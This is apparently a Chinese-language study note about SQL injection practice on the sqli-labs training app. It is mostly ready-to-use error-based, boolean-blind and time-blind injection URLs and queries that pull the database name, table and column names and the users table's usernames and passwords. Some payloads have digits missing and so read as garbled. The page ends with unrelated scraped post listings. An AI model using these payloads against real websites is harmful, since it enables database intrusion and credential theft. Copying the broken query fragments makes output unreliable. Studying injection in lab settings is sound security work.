1.爆错注入

什么情况想能使用报错注入------------页面返回连接错误信息

常用函数

updatexml()
if...floor
extractvalue

 updatexml(,concat(0x23,payload,0x23),)
 在concat查询语句后面添加一个标识符,如0x23
updatexml(,concat(0x23,payload,0x23),)
因为有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全

获取数据库信息

http://10.1.2.5:10631/sqli/Less-1/?id=1' and updatexml(1,concat(0x23,version()),1)--+

获取表名

 http://10.1.2.5:10631/sqli/Less-1/?id=1' and updatexml(1,concat(23,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1)--+

获取列名

http://test.com/sqli/Less-1/?id=1' and updatexml(1,concat(23,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

获取字段内容

http://test.com/sqli/Less-1/?id=1' and updatexml(1,concat(23,(select group_concat(username,password) from users)),1)--+

(2)还有一种爆错注入

 select count(*),concat(",",(select table_name from information_schema.tables where table_schema=database() limit ,),",",floor(rand()*))ldx from information_schema.tables group by ldx;

 select count(*),concat(0x22,0x22,database(),0x22,0x22,floor(rand()*))ldx from information_schema.tables group by ldx

 select count(*),concat(0x22,0x22,(select table_name from information_schema.tables where table_schema=database() limit ,),0x22,0x22,floor(rand()*))ldx from information_schema.tables group by ldx;
6 
7 and (select 1 from (select count(*),concat(0x22,0x22,(select table_name from information_schema.tables where table_schema=database() limit 0,0),0x22,0x22,floor(rand()*2))ldx from information_schema.tables group by ldx)ldx); http://test.com/sqli/Less-5/?id=1' and(select 1 from (select count(*),concat(0x22,0x22,(select table_name from information_schema.tables where table_schema=database() limit 2,2),0x22,0x22,floor(rand()*2))ldx from information_schema.tables group by ldx)ldx)--+
以下均摘自《代码审计:企业级Web代码安全架构》一书
1 .floor() select * from test where id= and (select from (select
count(*),concat(user(),floor(rand()*))x from information_schema.tables
group by x)a); .extractvalue() select * from test where id= and (extractvalue(,concat(0x7e,(select user()),0x7e))); .geometrycollection() select * from test where id= and geometrycollection((select * from(select * from(select user())a)b)); .exp() select * from test where id= and exp(~(select * from(select user())a)); .multipoint() select * from test where id= and multipoint((select * from(select * from(select user())a)b)) .polygon() select * from test where id= and polygon((select * from(select * from(select user())a)b)); .multipolygon() select * from test where id= and multipolygon((select * from(select * from(select user())a)b)); .linestring() select * from test where id= and linestring((select * from(select * from(select user())a)b)); .multilinestring() select * from test where id= and multilinestring((select * from(select * from(select user())a)b));

2.布尔盲注

特点:页面存在异常,但是即无回显也无报错信息利用--------------------只能通过正确与错误两种状态来判断payload是否正确

count()                                                               计算结果集的行数。
length(str) 返回指定字符串的长度
substr(str,pos,len)/substring(str,pos,len) 返回截取的子字符串。
ascii(str) 返回指定字符串最左侧字符的sacii值。
布尔型盲注核心思想
----------------------------------------------
利用判断语句来证明推测是否正确。
推测正确时,页面正常显示;错误时,页面异常

查数据库名长度

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select length(database())>8)--+

求数据库名

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) > 64%23

求所有表的数量

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 5 --+

求表名长度

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database())) = 5 --+

求表名的ascii值

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+

求列的数量

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+

求列名的ascii值

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),1,1))=105 --+

求字段的数量

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and (select count(username) from security.users)=16 --+

求字段内容

 http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68 --+

3.时间盲注

 时间型盲注
特点:页面不存在异常,且即无回显也无报错信息
利用:只能利用条件语句结合执行时间的长短来判断payload是否正确
-----------------------------------------------------------------------
if(exp1,exp2,exp3)
如果exp1是True,则执行exp2,否则执行exp3
-----------------------------------------------------------------------
sleep(s)
将程序暂停s秒
-----------------------------------------------------------------------
时间型盲注核心思想 if(payload,sleep(3),1)
即payload正确时,程序暂停3秒。否则立刻执行。
if(payload,1,sleep(3))
即payload正确时,程序立刻执行,否则暂停3秒。

首先闭合    然后判断是否存在时间注入----------直接在if里面插payload 套式子

 http://10.1.2.5:10631/sqli/Less-10/?id=1" and sleep(5)--+

查数据库名长度

1 http://test.com/sqli/Less-1/?id=1' and if(length(database())=8,sleep(2),1)-- -

求数据库名的ascii值

1 http://test.com/sqli/Less-1/?id=1' and if(ascii(substr(database(),1,1)) =115,sleep(2),1)--+

感觉今天学的东西真的挺多的,幸好有点基础不然懵了,先整理到这把,占坑在补上。先上个ascii码表把。

看了tony表哥一篇帖子,记下关于时间盲注的新理解

or,and的执行用短位运算符来说明准确简单点.短运算符的精髓:条件一 and 条件二 //当条件一成立,执行条件二条件一 or 条件二 //当条件一不成立,执行条件二

参考连接

WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注的更多相关文章

  1. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

  2. 实验吧web加了料的报错注入

    知识点: SQL注入中用到的Concat函数详解    http://www.sohu.com/a/219966085_689961 http分割注入 直接根据提示,提交post请求的用户名和密码 结 ...

  3. [靶场实战]:SQL注入-显错注入

    SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...

  4. sql注入 报错注入常用的三种函数

    1.floor()函数 报错原因是 报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键 前面说过floor(rand(0)*2) 前六位是0110 ...

  5. sql注入 --显错注入

    前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录 ...

  6. ctfhub技能树—sql注入—报错注入

    打开靶机 payload 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.c ...

  7. MSSQL手工注入 报错注入方法

    例子:www.kfgtfcj.gov.cn/lzygg/Zixun_show.aspx?id=1[1]首先爆版本:http://www.kfgtfcj.gov.cn/lzygg/Zixun_show. ...

  8. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  9. 某SQL注入--报错注入payload

    1.证明存在sql注入,根据这个报错语句,,有'  有% 2.payload  闭合语句 %' or (select extractvalue("anything",concat( ...

随机推荐

  1. [转]:理解 Linux 配置文件

    简介: 本文说明了 Linux 系统的配置文件,在多用户.多任务环境中,配置文件控制用户权限.系统应用程序.守护进程.服务和其它管理任务.这些任务包括管理用户帐号.分配磁盘配 额.管理电子邮件和新闻组 ...

  2. STM32的备份寄存器和控制状态寄存器

    STM32的备份寄存器和控制状态寄存器 1 备份寄存器用于RTC时钟 RTC时钟可以在掉电以后继续计数,保证时间的延续,但是重新上电以后需要配置,保证之前的计数不会被清除,可以借助备份寄存器实现,备份 ...

  3. 用javascript编写简单银行取钱存钱流程(函数)

    const readline = require('readline-sync')//引用readline-sync let arr = [[], []]; //登陆 let add = functi ...

  4. JAVA正则表达式校验qq号码

    /* * 校验qq号码* 要求必须是5-15位* 0不能开头* 必须都是数字 */ (1)使用正则表达式校验qq号码 (2)方式2

  5. Flex 布局教程:语法和实例

    语法篇 网页布局(layout)是 CSS 的一个重点应用. 布局的传统解决方案,基于盒状模型,依赖 display 属性 + position属性 + float属性.它对于那些特殊布局非常不方便, ...

  6. H5 移动端开发中 ios/安卓坑 和经验总结

    1. ios new时间对象,需要用逗号隔开传日期的方式, 不支持 new Date('2019-03-01 08:00:00') 格式: 支持以下两种方式: 2. ios个别版本对fixed的属性的 ...

  7. oracle本地安装注意事项

    这两天组员在本地windows上安装oracle数据库,安装完各种问题,pl/sql developer以及tns_admin配置以及tnsnames.ora和sqlnet.ora listener. ...

  8. 原生 JS 实现扫雷 (分析+代码实现)

    阅读这篇文章需要掌握的基础知识:Html5.CSS.JavaScript 在线Demo:查看 扫雷规则 在写扫雷之前,我们先了解下它的游戏规则 ● 扫雷是一个矩阵,地雷随机分布在方格上. ● 方格上的 ...

  9. 学习新框架laravel4 第三天

    请求与输入 获取请求参数 如果没有传递默认值位1 $id= Input::get('id',1); //获取所有请求内容 Input::all() 取得请求 URI $uri = Request::p ...

  10. Python学习手册之正则表达式示例--邮箱地址提取

    在上一篇文章中,我们介绍了 Python 的捕获组和特殊匹配字符串,现在我们介绍 Python 的正则表达式使用示例.查看上一篇文章请点击:https://www.cnblogs.com/dustma ...